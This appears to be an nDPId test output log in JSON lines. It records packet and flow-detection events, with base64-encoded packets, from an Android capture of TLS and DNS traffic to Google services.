+00440{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":867294,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8+7cAAHUGxias2RRMwKgCEAG7qn7jcCu5pd5966AS6yBHnwAAAgQFZAQCCArp2ZEZ\/\/83gAEDAwg="} +00428{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":873337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0SmtAAEAGbHvAqAIQrNkUTKp+Abul3n3r43AruoAQAVdf2wAAAQEICv\/\/N4vp2ZEZ"} +01228{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":879681,"pkt_caplen":660,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":660,"pkt_l4_len":626,"pkt":"xiwDYGpkTGr2n\/YnCABFAAKGCFNAAEAGqsPAqAIQrNkVysroAbtCYT8toOwsPoAYAVfGNQAAAQEICv\/\/N43vemfUFgMBAk0BAAJJAwNrXT7L+PJep4B\/dk8AB+uJB9Pwzmj4f8u29vBYTRHG4CDv0sgDEuW0ydkkTNHJWYUIu7zui1THvKT7nSHdEo4WbQAiysoTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAd6qqgAAAAAAHQAbAAAYZGF0YXNhdmVyLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACgAIysoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBABIAAAAzACsAKcrKAAEAAB0AIA7SNmfcO9z5Fk8eILAkK8oUeEYOBFCgnNeuFUKzBOEGAC0AAgEBACsACwpKSgMEAwMDAgMBABsAAwIAAvr6AAEAACkBDQDoAOIBlHTCUkrnq2qUV7Uc6bRUrJdD\/LtOX9saWvlSIiAibjKIU0wHw9yQxl9yfCDql2xDdrNsm7zbF6\/OGNfdahzYSr6RfqSfTZGLDMZZfk1MJbPFSKnzYvS6jOEo3TW7x+9BZ4+3KDyjSvE5m\/8l2XSPqIu13oiFGgsmpE4gdERCudtURq0Ogikb8MlcSRimaW6Jyuzxd70fGrtNyd8LfqifFc1h2FkIDgK11FO2C2BHwFuqglbOegGmZKZuntDRxgQqNPVB57xYszkl2XDvW62m55mBMYgOxxISmOX9JOYaN4l\/oAeAdwAhICV8acJGk5urIeyURl35qfHipUs4BWNlBpXTDG5xEgou"} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":404,"source":"android.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":4,"flow_first_seen":1582454871814,"flow_last_seen":1582454871879,"flow_tot_l4_data_len":738,"flow_min_l4_data_len":32,"flow_max_l4_data_len":626,"flow_avg_l4_data_len":184,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51944,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"datasaver.googleapis.com","ja3":"554719594ba90b02ae410c297c6e50ad","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01127{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":880409,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5wi1AAEAGtHHAqAIQ2O8meID2AbsYfvWpTGBDc4AYAVfJZAAAAQEICv\/\/N43Dx9w1FgMBAgABAAH8AwOizyXUznqR2zg8twjqz4c\/1LcXNiJz8Xl8G8QuY+oU9yAcL+vdmf\/YPEco\/YkV+JSTvE9P1MbaTiaPYiMm3qSYcAAiqqoTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZFaWgAAAAAAEwARAAAOd3d3Lmdvb2dsZS5jb20AFwAA\/wEAAQAACgAKAAhaWgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEAEgAAADMAKwApWloAAQAAHQAg3dtD4+BEPVHHfNtYISH7IY66a0OPmtM6OXNpxMB89XwALQACAQEAKwALCpqaAwQDAwMCAwEAGwADAgACKioAAQAAFQDKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":405,"source":"android.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":4,"flow_first_seen":1582454871839,"flow_last_seen":1582454871880,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33014,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":406,"source":"android.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1582454871881,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":881494,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"xiwDYGpkTGr2n\/YnCABFAABErDBAAEARCRfAqAIQwKgCAZtQADUAMNjjuKUBAAABAAAAAAAAB2FuZHJvaWQKZ29vZ2xlYXBpcwNjb20AAAEAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":406,"source":"android.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1582454871881,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39760,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"android.googleapis.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00519{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":888957,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkTGr2n\/YnCABFAAB0E09AAEAGZRXAqAIQ2O8meIDqAbtXpCYKBCF0iYAYAW2SPgAAAQEICv\/\/N4+pXP9nFAMDAAEBFwMDADUeoCqVohjOxbck2a5v5Pyyv1Fk1FpMgNW5QT+r4NnmhfmQ2DVwE7l9c1TQBuYpiVsdz55Ebw=="} +01125{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":890562,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5SmxAAEAGanXAqAIQrNkUTKp+Abul3n3r43AruoAYAVdhvAAAAQEICv\/\/N5Dp2ZEZFgMBAgABAAH8AwNXABRh0bUwv02\/tcLYJb8tWNqjNMehgKwAQKR+V6qhpSB5nowSHXSTk06sjSwrAIShPUtbUgvH7+EkOPJ+Q5cJZAAiuroTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZHKygAAAAAAGAAWAAATcHJveHkuZ29vZ2xlemlwLm5ldAAXAAD\/AQABAAAKAAoACAoKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQASAAAAMwArACkKCgABAAAdACBLZwILTiy6lRDHwjubzrib1KyQtw7d5xCTjiQBUnoNPgAtAAIBAQArAAsKqqoDBAMDAwIDAQAbAAMCAALq6gABAAAVAMUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":408,"source":"android.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":4,"flow_first_seen":1582454871829,"flow_last_seen":1582454871890,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43646,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"proxy.googlezip.net","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00549{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":892841,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"xiwDYGpkTGr2n\/YnCABFAACKE1BAAEAGZP7AqAIQ2O8meIDqAbtXpCZKBCF0iYAYAW2ejgAAAQEICv\/\/N5CpXP9nFwMDAFEyrbnJ6g4lCcl8fGr55cy4dgSJsqsxBYOBEOPjwhy8zTKp1bcUYupcfT8mB5D9a\/tIswIrfWM1UfUQyWgObXtLZcEhoiIdzik9SuLwFlKQkuU="} +01251{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":893680,"pkt_caplen":670,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":670,"pkt_l4_len":636,"pkt":"xiwDYGpkTGr2n\/YnCABFAAKQE1FAAEAGYvfAqAIQ2O8meIDqAbtXpCagBCF0iYAYAW2NnwAAAQEICv\/\/N5CpXP9nFwMDAlcD4iJ\/jPRtCquF0drwP2GZ2kuHnwLJVhypQf5KlAEVz0CdRqWLF\/E4v9AhgK1jksjBVADmPNL3ZuK\/Hv\/6ihMbxALk9beOiNipPBW7zVk0qNPxpCyinREk2yGnTILEAMKsmKojLR2xYtdo3P9Rlk+7tnqrVVTltYOZBzNNefPUfo9fCaXJqAGCnzqEXQMovEhb1aKY2vjJ0gZw5H\/zl8W+KL2+lidNLrVzlNSKekB+i7lEB3g65QNITwPZiWT05\/+mKMNaKmKnEfsZPzXFqAiSB9M8Sk06mpdK61S2Z9Uzf\/\/ycDhU6AROjlHrY+BA5QlUrIMkOo\/iS+xfbSWrLdCcU8Cf7NcuXTywlu+mahvC4sEeJTJStJTb8g36MBySHplLZ1KUgrdTOPJKxrIPSlbB38ODN6xkWjwpQ\/JaqkqTZGPNi7ac25dRlZ5hy6fThFOP5WcYgu7tlJF+ZdxsIMLaXoKAQkJJlydyR1w07hQKNoMBqHTxaMXgkWKI1jj6WA6VMOnc+VdJujytPfAldM6edYldGOHAEK4gcwrGeVPgNOxrm8KLri4fx5dOChmObLEzVjEQe1LA1jki7BheYByAbzgAR4AHVUffRFUZ4iRT06cq1HsIFXiNihvF4Z1ox8ftB8CbMI+qBycE2FEMCl16O4cm7kpRKQvfkIKbjNSXnIt8LhPtqE94ZxL8sR2szMand36ldeazSXt2CqehDZy04wcnOc3w94d15u1w15UTypaIprm55lLKSVcHn4O7iaE3L+rgpSe6z3S\/t8y3+iQ3JaQ51zRohA=="} +00473{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":894047,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"xiwDYGpkTGr2n\/YnCABFAABUE1JAAEAGZTLAqAIQ2O8meIDqAbtXpCj8BCF0iYAYAW1plgAAAQEICv\/\/N5GpXP9nFwMDABtkPRZwjvRWJYqbOhc+xpUQmZc0th6UFI3h900="} +00428{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":894669,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0AIIAAHUGgyLY7yZ4wKgCEAG7gPZMYENzGH73roAQAPC5RwAAAQEICsPH3F7\/\/zeN"} +02350{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":911317,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+AIQAAHUGfZbY7yZ4wKgCEAG7gPZMYENzGH73roAQAPDFMgAAAQEICsPH3G\/\/\/zeNFgMDAHoCAAB2AwPCu\/6wr8aE5b7PPfHVJn8Tev43TQ\/dv4YazQveDjrJzyAcL+vdmf\/YPEco\/YkV+JSTvE9P1MbaTiaPYiMm3qSYcBMBAAAuADMAJAAdACD\/ieAxCNwSQYi8\/CYIEU9iLFhTd0LghdqhtvUSuVKlLQArAAIDBBQDAwABARcDAwm5CWY9ip9gWhtu9zt7ThcQXhzqan0V1o7l6x\/zeyoNqXfMkG5TS5y7CMupzF4URfPmVp8AYpGq1sMwuyXya+rMwAPnsJdOPlXijhVQVdFR573zwfmz18XP4plRTCZmmDlhNMVRnNZESiCkLPctlmwnsblxLvyRgM+jVpPYJwXo\/qxRLML0BGhNS+VTnboXAaIasjOV6\/MkH2PKkowhKqbOtT6t2Rq0RGu\/UBIlW5ThabuniaP+1AY6MtYTFtsSiVSGN7E+hix9fBZtGm2vVXMFV3Min+8QRX72jJUrtHhRfYjPVCvEEdjykejkdEX9Yp4BEB8DXOiGuZsoClDKd\/Rtp\/wKag0acYYD8nHSgs3jEcQe+nHTjMmCk\/z4JppERuC9tuTqnTzK6jy8CiKTXYtCWpwwDqyhbdYCmHjXMzE4OjUAtRJ48WoVEGltZNp3BeyIKiQLix1bsDY1yy9dQH5OeAAQ4URv7fmhljTLnZCtbZ5GjuckJ7xO4wwiqMUA2HicNT+HaQBJZVrXWHnOm1nfisZ3atRYe6LkN+UPAw2peunCiNwJDrQh2QqxrrEOyZGruRNH9xmCYpGojJTWTaXGW33XaTGZnMeTQr9PN3dVE5bNtGuGY9p3qJikN+mnOk9bTv2nz8O+KqVdX2731aGpde436Zs0ikWVLJMowOGN0qe6zeFShNKqBeWB84PKUxEu+M5XG4GrK+3ex56gbRe00fVzUmiTcfgkt4y1fI2kdIKZk+bZQ+30TgrJoQbwdcOYvVXnBlI3rj05O4DBbVm6U\/+g74VWjpjgOthB3S5TTTyv9bsGYL2UMegweTlJBQRXSC7iIJma7n602M81NSE6C2cpBPxJcx\/hu5rvyz0Zw4X17sDhxc8jbSXxv6RPTbDSW1Qv9t8MjtGXFvmO1LLaYGBvHI47OHVuLJIu1RcyX2ZLkwsYmpc+NLjh7nRmgfbV9LqX7VTYcGd6qHpoOiTjPw4Lh0hHmhUBvH2BTUGfFJPgvn2t38D1jJtbxrN\/qeeumnQfE+Wwqt9qeNUYkup3srLObJakfp0FOIExbHTffa1DTSlNXGTdEirXcUwniAFggohhBQC9hpiP7vtMj5Ti4foFsbodNYQb70EAKeAoG6iMboXxcQmihTD8pX0AvYdmrjeENIQfCN22\/1Xux7CmKNhRHrD8A7llSNnQhxYVhVY7jsKRDEuilLCoFCnD6Ks4GP6rUO4lRapcAMcTwqRfAD1uo0SL5eG29JlfNnbhFjd3I+hgqwgpFovKMNCVBpLSehk1XzjsulSYBr3lwM+naytyRSXkr0U+BJPztq3U\/wNdhRxFUpmiVRabYVTjnL3tNrWOJWaRp6XY\/AkG18USC5nMGrk2Qh4I5nmmD9PivLTwdnv+JEWnsJen3pHLgVpCJ3+7iozJrvk0lwXjvsFI9zAULI1MEWo1ACVyk2udbxh\/7Ka55FnmLLKGKlZZKrXYIHZDz1PWeP1thqypKVrkYTjUZzR8Od3RIFnotB7nNgy4gMYw8zK+K1L9IP9ZfqMZ2Q\/G16H7JyGMHLbEgtHn4fxvQTz6quegyKgDGDIrqqS3v35qKZzIO9zhtEt9qLy9ad3XE2t2PSRho4bg2dMURxx74WsZTPFBx\/EjxQpODBU1\/ZITTlQFqLiokRbmUnuSFsiRK8Ap4IG0k2YvTfdv2zGLoPp0K7YTFrhhzcwb2fE="} +00830{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":434,"source":"android.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":6,"flow_first_seen":1582454871839,"flow_last_seen":1582454871911,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33014,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.google.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02078{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":911329,"pkt_caplen":1275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1275,"pkt_l4_len":1241,"pkt":"TGr2n\/YnxiwDYGpkCABFAATtAIUAAHUGfmbY7yZ4wKgCEAG7gPZMYEj9GH73roAYAPAU7AAAAQEICsPH3G\/\/\/zeND96rZ8KcpwGCajL5e1UbFoOKPqgx\/uV6oFNxUzW5HoTiQnbMEua+k1IMgAMlGzrMPqmxjLZC46qmoJt7owtjeGrDOFn\/LscN5s+kz\/PpZ7XvU6p9WRS4RzPkQ2Bswcw3Aeqhw88KHrtI\/7vblv0V7raO9mNuKAH1v+fka66dIT++DwbDQGfevDODKr\/gqlKQHQQDiYmjy9jWIiGk3rTKVkRcSPPDcgiZFXv8z6RCbkM0nDQZzhQ6adiXucsXvzr+pqfUvj2iTusNtJVkvxygL2rIo3He4F\/IoTw\/utRfrwAN5lvA3nlztuedBZW0VmFT2HFGguyZ3HoLDB+\/eXM8g6dZpIe\/LiaLkJs2Y3YrM7Vw6IB2Dnsz\/4k8EtpWNmPb3yG8Z\/o3l18mMQT0CK8Mn28wL5cobqwRHaiPAjiGac8Lxr8w+CtW5Qx5eLDUiAB\/9BdTQ+61\/uOz6bmdBl\/Cxej29Y+6aiibRDXI54JFPTRoY2EN+uRuKnLImd7xIv4ribSh7bCYwJor1pgob9Ds4840kLc3RPiY5eTw+PaxLfk2svXfDe61thM5IazPOaNbFjQPAKwCMjVlqbZusScjaeQD4e3WNs51prP5Lptmu3+OZIz3UYYZIUSH\/0Hfy55vkIY1YSJXvu3wCpYq79Ifq6D5JicKCPB90MQFUTtnPO+Q6fsX8yKExRpfQceC0TbMM6GzmfCRzpxpvQn3AhKWI2hf9LW+bhbzwAUSyTJ+1\/nRGdME3WiqbyERsnox3SAFNdyzJOI5C3xu1BiU2bVC81y66f6k0KjY57mlgkfAFn2gSBYwrt\/UMQNeQi\/M97ZX1nqPX5fENrQj0w2os2Ky1xq67IT2YwXQ7Z+UT8ShsVPvk3kOd75RW8XRYFWPoqhNXkbAxHCunbNYl7FUOgIcDSdIhIoxPyLWN8+Q7MTjdayT3Om\/xbD9BXOql4j\/sxYaEU57vMo8F+\/z1B2JfjAkd+w5nAZbQF\/epNGcvhv4sc4LZmkOhJfBzkKAZdH7B585+qWsk\/YlYk+XJXNjpNDe+ccw19cX2xxXsy4DE\/E\/+puOdfTdP8msTJnADomO7+vkaKfGGF1iYPpjp1SchHuHmM2Kaq\/2OoC2iSqrICv6OsEzUxYkxQMDzSpGZk\/3s17l0zbg17mSmatxtrTDSQaZWgQjdIWJUHO0YPKh4AgKcCG2jemS9qShBVX6uxrGbOOTm0oPtS3mqZpS1JyOnq2jAO9ze1KDJN7uLAV409e8EaM00XHklONUCHob9hiFW6dteOJCaxSF30n5IZiT5voMitZm6NA9n64IFARhTUCfc\/rfZKk3sdLmhPuEGUsPBmDEJWFcjPoj4\/KHTqDRlzDQsY+\/PkhCnJaddYRYWMoZsrgPxzCmcrJpRN25wuke5bdBBWfczNyGdd4vr4jNVwokcKEw6t2B04hDPUMTXKslyFFLJTYIBC5EOdgMIkYOQ+2WanSyjjwhwy2u9kaOgceZN+lQDFvUcQmV3nXfZnSZ+S8mghrYYCTw3X3LMyoaMttoaZAze1kIQ9BusBuXgpEiQp4RA2ZtLEUXQZtFI11PtbpRzVPW7z3XfYe5ozn83\/uDPQV+B3cUurZU"} +00428{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":913560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0ogoAAHYGHV6s2RXKwKgCEAG7yuig7Cw+QmFBf4AQAPBDpgAAAQEICu96aBT\/\/zeN"} +00717{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":913572,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEIogwAAHYGHIis2RXKwKgCEAG7yuig7Cw+QmFBf4AYAPCDsgAAAQEICu96aBX\/\/zeNFgMDAIACAAB8AwNXyuwDxMqVzVMdddxZ833D8C1lZmBy\/fnbob7+g9LiqyDv0sgDEuW0ydkkTNHJWYUIu7zui1THvKT7nSHdEo4WbRMBAAA0ACkAAgAAADMAJAAdACAbMxGW7At0HGDNDYgsDvU7\/zP00nEyGi+JFSenP9DTFAArAAIDBBQDAwABARcDAwBEmIk3Cfsq8y6kfOnRgN2JvXSQL48Jsuhz3DdaihsLhjVD1fUjNsHQjrzI+tlRQg3gUU5jKn9Z1P9IsA9DMYI8sr1L96I="} +00838{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":437,"source":"android.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":6,"flow_first_seen":1582454871814,"flow_last_seen":1582454871913,"flow_tot_l4_data_len":1014,"flow_min_l4_data_len":32,"flow_max_l4_data_len":626,"flow_avg_l4_data_len":169,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51944,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"datasaver.googleapis.com","ja3":"554719594ba90b02ae410c297c6e50ad","ja3s":"2b0648ab686ee45e0e7c35fcfb0eea7e","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00429{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":918461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0wi5AAEAGtnXAqAIQ2O8meID2AbsYfveuTGBI\/YAQAWKzMAAAAQEICv\/\/N5fDx9xv"} +00428{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":919249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0wi9AAEAGtnTAqAIQ2O8meID2AbsYfveuTGBNtoAQAW2ubAAAAQEICv\/\/N5fDx9xv"} +00429{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":919305,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0CFRAAEAGrRTAqAIQrNkVysroAbtCYUF\/oOwtEoAQAVdCYAAAAQEICv\/\/N5fvemgV"} 